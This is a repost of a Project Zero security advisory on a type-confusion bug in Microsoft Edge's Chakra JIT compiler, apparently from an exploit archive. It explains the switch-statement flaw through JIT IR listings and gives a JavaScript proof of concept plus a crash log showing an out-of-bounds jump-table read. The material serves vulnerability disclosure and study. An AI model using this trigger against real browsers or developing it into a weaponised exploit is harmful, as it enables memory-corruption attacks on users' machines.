ExploitFixes
Microsoft Edge Chakra JIT - Type Confusion with switch Statements 2017-11-16 19:06:01

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1341&desc=3

Let's start with a switch statement and its IR code for JIT.

JS:
for (let i = 0; i <; 100; i++) {
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
}

IRs before Type Specialization:
s26.var = Ld_A s24.var - "i" #0011 Bailout: #0011 (BailOutExpectingInteger)
BrLt_A $L2, s26.var, s5.var #0070
$L9: #0070
BrGt_A $L2, s26.var, s23.var #0070
$L8: #0070
s28.var = Sub_A s26.var, 2 (0x2).i32 #0070 // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable.
MultiBr ..., s28.var #0070

IRs after Type Specialization:
s52(s26).i32 = Ld_A s51(s24).i32 - "i" #0011
BrLt_I4 $L2, s51(s24).i32, 2 (0x2).i32 #0070
$L9: #0070
BrGt_I4 $L2, s51(s24).i32, 38 (0x26).i32 #0070
$L8: #0070
s53(s28).i32 = Sub_I4 s51(s24).i32, 2 (0x2).i32 #0070
MultiBr ..., s53(s28).i32! #0070



MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger.

In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32.

What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j" in the CSE phase.

JS:
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
}

IR:
Line 3: let j = i - 2;
Col 9: ^
StatementBoundary #2 #0013
s55(s28).i32 = Sub_I4 s54(s24).i32, 2 (0x2).i32 #0013


Line 4: switch (i) {
Col 9: ^
StatementBoundary #3 #001a // BailOutExpectingInteger
BrLt_I4 $L2, s54(s24).i32, 2 (0x2).i32 #0079
BrGt_I4 $L2, s54(s24).i32, 38 (0x26).i32 #0079
MultiBr ..., s55(s28).i32! #0079


The offset variable is replaced with "j" that is not ensured to be of type Int32.

CORRECTION: The bug was that it tried to ensure the type using BailOutExpectingInteger, even if "i" was not always of type Int32. It was bypassed with the CSE phase. So if we created a case where "j" couldn't be of type Int32, type confusion occurred.

JS:
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}

if (i == 39)
i = 'aaaa';
}

IR:
Line 3: let j = i - 2;
Col 9: ^
StatementBoundary #2 #0013
s30[LikelyCanBeTaggedValue_Int].var = Sub_A s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013
s27[LikelyCanBeTaggedValue_Int].var = Ld_A s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017


Line 4: switch (i) {
Col 9: ^
StatementBoundary #3 #001a
s63(s26).i32 = FromVar s26[LikelyCanBeTaggedValue_Int_Number].var #001a Bailout: #001a (BailOutExpectingInteger)
BrLt_I4 $L4, s63(s26).i32, 2 (0x2).i32 #0079
BrGt_I4 $L4, s63(s26).i32, 38 (0x26).i32 #0079
MultiBr ..., s27[LikelyCanBeTaggedValue_Int].var #0079


It ended up to use "j" of type Var as the offset variable.

PoC:
*/

function opt() {
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}

if (i == 90) {
i = 'x';
}
}
}

function main() {
for (let i = 0; i < 100; i++) {
opt();
}
}

main();

/*
Crash Log:
RAX: 0x1
RBX: 0x7ffff7e04824 --> 0x100000000
RCX: 0x3
RDX: 0x7ffff0b20667 (loope 0x7ffff0b2066d)
RSI: 0x80000001
RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push rbp)
RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...)
RSP: 0x7fffffff20c0 --> 0x1111015500000002
RIP: 0x7ffff0b204da (mov rdx,QWORD PTR [rdx+r13*8])
R8 : 0x0
R9 : 0x0
R10: 0x7ffff0b20400 (movabs rax,0x555555879018)
R11: 0x206
R12: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f
R13: 0x1000000000001 << Var 1
R14: 0x1000000000003
R15: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>: push rbp)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff0b204cb: cmp ecx,0x26
0x7ffff0b204ce: jg 0x7ffff0b204e1
0x7ffff0b204d0: movabs rdx,0x7ffff0b20667
=> 0x7ffff0b204da: mov rdx,QWORD PTR [rdx+r13*8]
0x7ffff0b204de: rex.W jmp rdx

We can simply think as follows.

Before the CSE phase:
Var j = ToVar(i - 2);
int32_t offset = i - 2;
jmp jump_table[offset];

After the CSE phase:
Var j = ToVar(i - 2);
jmp jump_table[j];

*/